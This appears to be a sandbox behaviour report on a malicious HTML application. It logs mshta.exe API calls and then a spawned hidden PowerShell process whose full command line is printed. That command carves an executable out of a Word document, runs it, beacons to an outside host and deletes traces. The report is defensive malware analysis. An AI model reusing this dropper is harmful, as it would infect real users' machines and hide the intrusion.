Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_RESTRICT_CRASH_RECOVERY_SAVE_KB978454 False 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_CLEANUP_AT_FLS False 1
Fn
Module Get Filename module_name = C:\Windows\System32\mshtml.dll, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshtml.dll, size = 260 True 1
Fn
File Open Mapping filename = #MSHTML#PERF#00000370, desired_access = FILE_MAP_WRITE False 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Handle module_name = c:\windows\system32\advapi32.dll, base_address = 0x7feff8e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventWrite, address_out = 0x7782b510 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventRegister, address_out = 0x7783cac0 True 1
Fn
Module Get Address module_name = c:\windows\system32\advapi32.dll, function = EventUnregister, address_out = 0x77823c80 True 1
Fn
Module Get Handle module_name = c:\windows\system32\mshta.exe, base_address = 0xff9d0000 True 1
Fn
Module Get Filename module_name = c:\windows\system32\mshta.exe, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 1
Fn
Mutex Create mutex_name = Local\!PrivacIE!SharedMemory!Mutex True 1
Fn
Module Create Mapping filename = System Paging File, protection = PAGE_READWRITE, maximum_size = 16 True 1
Fn
Module Map process_name = c:\windows\system32\mshta.exe, desired_access = FILE_MAP_WRITE True 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = RegisterApplicationRestart, address_out = 0x7775f510 True 1
Fn
Module Get Address module_name = c:\windows\system32\mshtml.dll, function = RunHTMLApplication, address_out = 0x7fee0ad5b90 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Create class_name = HTML Application Host Window Class, wndproc_parameter = 8791278233248 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
COM Create interface = 00000000-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Window Create wndproc_parameter = 0 True 1
Fn
System Get Info type = Windows Directory, result_out = C:\Windows True 1
Fn
Module Load module_name = comctl32.dll, base_address = 0x7fefc060000 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200 True 1
Fn
Ini Read file_name_orig = Win.ini, section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50 True 1
Fn
Module Get Filename process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 260 True 2
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, value_name = NoFileMenu, type = REG_NONE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MANAGE_SCRIPT_CIRCULAR_REFS False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_DOCUMENT_COMPATIBLE_MODE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_WEBOC_DOCUMENT_ZOOM False 1
Fn
Module Get Handle module_name = c:\windows\system32\kernel32.dll, base_address = 0x776e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = InitializeSRWLock, address_out = 0x778384f0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockExclusive, address_out = 0x77828020 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = AcquireSRWLockShared, address_out = 0x778254e0 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockExclusive, address_out = 0x77828050 True 1
Fn
Module Get Address module_name = c:\windows\system32\kernel32.dll, function = ReleaseSRWLockShared, address_out = 0x778254b0 True 1
Fn
Module Load module_name = OLEAUT32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 6, address_out = 0x7fefde71320 True 1
Fn
System Get Info - True 2
Fn
Module Get Handle module_name = EXPLORER.EXE, base_address = 0x0 False 1
Fn
Module Get Handle module_name = IEXPLORE.EXE, base_address = 0x0 False 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup True 1
Fn
Registry Read Value reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PageSetup, value_name = Print_Background False 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 7, address_out = 0x7fefde71020 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 8, address_out = 0x7fefde713f0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_XSSFILTER True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615 False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MIME_TREAT_IMAGE_AS_AUTHORITATIVE False 1
Fn
COM Create interface = 08C0E040-62D1-11D1-9326-0060B067B86E, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_NO_CODE_DOWNLOAD True 1
Fn
Window Create wndproc_parameter = 2676624 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
Module Load module_name = OLEACC.DLL, base_address = 0x7fef22f0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleacc.dll, function = LresultFromObject, address_out = 0x7fef22f3aa8 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 724, y_out = 422 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Get Info - True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_MSHTML_AUTOLOAD_IEFRAME True 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Load module_name = ieframe.dll, base_address = 0x7fef2350000 True 1
Fn
System Get Time type = Ticks, time = 131992 True 120
Fn
System Get Time type = Ticks, time = 132008 True 65
Fn
System Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
System Get Time type = Ticks, time = 132117 True 1
Fn
COM Create interface = BB1A2AE1-A4F9-11CF-8F20-00805F2CD064, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:04 (UTC) True 1
Fn
System Get Time type = Ticks, time = 132117 True 1
Fn
System Get Info type = Operating System True 1
Fn
Module Load module_name = ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoCreateInstance, address_out = 0x7fefe1e7490 True 1
Fn
COM Create interface = 6C736DC1-AB0D-11D0-A2AD-00A0C90F27E8, cls_context = CLSCTX_INPROC_SERVER True 1
Fn
System Get Time type = Ticks, time = 132117 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = 2, address_out = 0x7fefde73480 True 1
Fn
Module Get Handle module_name = c:\windows\system32\ole32.dll, base_address = 0x7fefe1c0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CLSIDFromProgIDEx, address_out = 0x7fefe1da4c4 True 1
Fn
COM Get Class ID cls_id = 72C24DD5-D70A-438B-8A42-98424B88AFB8, prog_id = WsCriPt.SHeLl True 1
Fn
Module Get Address module_name = c:\windows\system32\ole32.dll, function = CoGetClassObject, address_out = 0x7fefe1f2e18 True 1
Fn
COM Create interface = 00000001-0000-0000-C000-000000000046, cls_context = CLSCTX_INPROC_SERVER, CLSCTX_LOCAL_SERVER, CLSCTX_REMOTE_SERVER True 1
Fn
System Get Time type = System Time, time = 2017-10-24 17:38:04 (UTC) True 1
Fn
System Get Time type = Ticks, time = 132148 True 1
Fn
System Get Info type = Operating System False 1
Fn
Module Get Filename module_name = IEXPLORE.EXE, process_name = c:\windows\system32\mshta.exe, file_name_orig = C:\Windows\System32\mshta.exe, size = 261 True 1
Fn
Module Load module_name = shell32.dll, base_address = 0x7fefe850000 True 1
Fn
Module Get Address module_name = c:\windows\system32\shell32.dll, function = ShellExecuteExW, address_out = 0x7fefe877c70 True 1
Fn
Process Create process_name = C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe, show_window = SW_HIDE True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Sleep duration = -1 (infinite) True 3
Fn
System Get Cursor x_out = 687, y_out = 514 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 687, y_out = 514 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Sleep duration = -1 (infinite) True 6
Fn
System Get Time type = Ticks, time = 147670 True 1
Fn
System Sleep duration = 0 milliseconds (0.000 seconds) True 1
Fn
System Get Time type = Ticks, time = 147701 True 1
Fn
System Get Info type = Operating System False 1
Fn
Keyboard Get Info type = KB_LOCALE_ID True 1
Fn
System Get Time type = Ticks, time = 147764 True 2
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Module Load module_name = oleaut32.dll, base_address = 0x7fefde70000 True 1
Fn
Module Get Address module_name = c:\windows\system32\oleaut32.dll, function = VariantClear, address_out = 0x7fefde71180 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551600, new_long = 18446744071609188352 True 1
Fn
Window Set Attribute class_name = HTML Application Host Window Class, index = 18446744073709551596, new_long = 262144 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
System Sleep duration = 100 milliseconds (0.100 seconds) True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
System Get Cursor x_out = 631, y_out = 286 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LSHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LCONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LMENU, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_LBUTTON, result_out = 1 True 1
Fn
Keyboard Read virtual_key_code = VK_RBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_SHIFT, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_CONTROL, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MBUTTON, result_out = 0 True 1
Fn
Keyboard Read virtual_key_code = VK_MENU, result_out = 0 True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP False 1
Fn
Module Load module_name = WININET.dll, base_address = 0x7feff5e0000 True 1
Fn
Module Get Address module_name = c:\windows\system32\wininet.dll, function = InternetUnlockRequestFile, address_out = 0x7feff5f70f4 True 1
Fn
Module Get Handle module_name = mscoree.dll, base_address = 0x0 False 1
Fn
Thread 0x974
(Host: 4, Network: 0)
+
Category Operation Information Success Count Logfile
Module Load module_name = mshtml.dll, base_address = 0x7fee0880000 True 1
Fn
System Get Time type = Ticks, time = 131992 True 1
Fn
System Get Time type = Ticks, time = 132008 True 1
Fn
System Get Time type = Ticks, time = 147686 True 2
Fn
Process #8: powershell.exe
(Host: 545, Network: 0)
+
Information Value
ID #8
File Name c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line "C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\*""" -include http*.pdb, http*.dll, *.cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:01:07, Reason: Child Process
Unmonitor End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration 00:01:29
OS Process Information
+
Information Value
PID 0x664
Parent PID 0xbc8 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Groups
  • YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 768
0x 610
0x A18
0x A08
0x 99C
0x 998
0x 94C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True True False
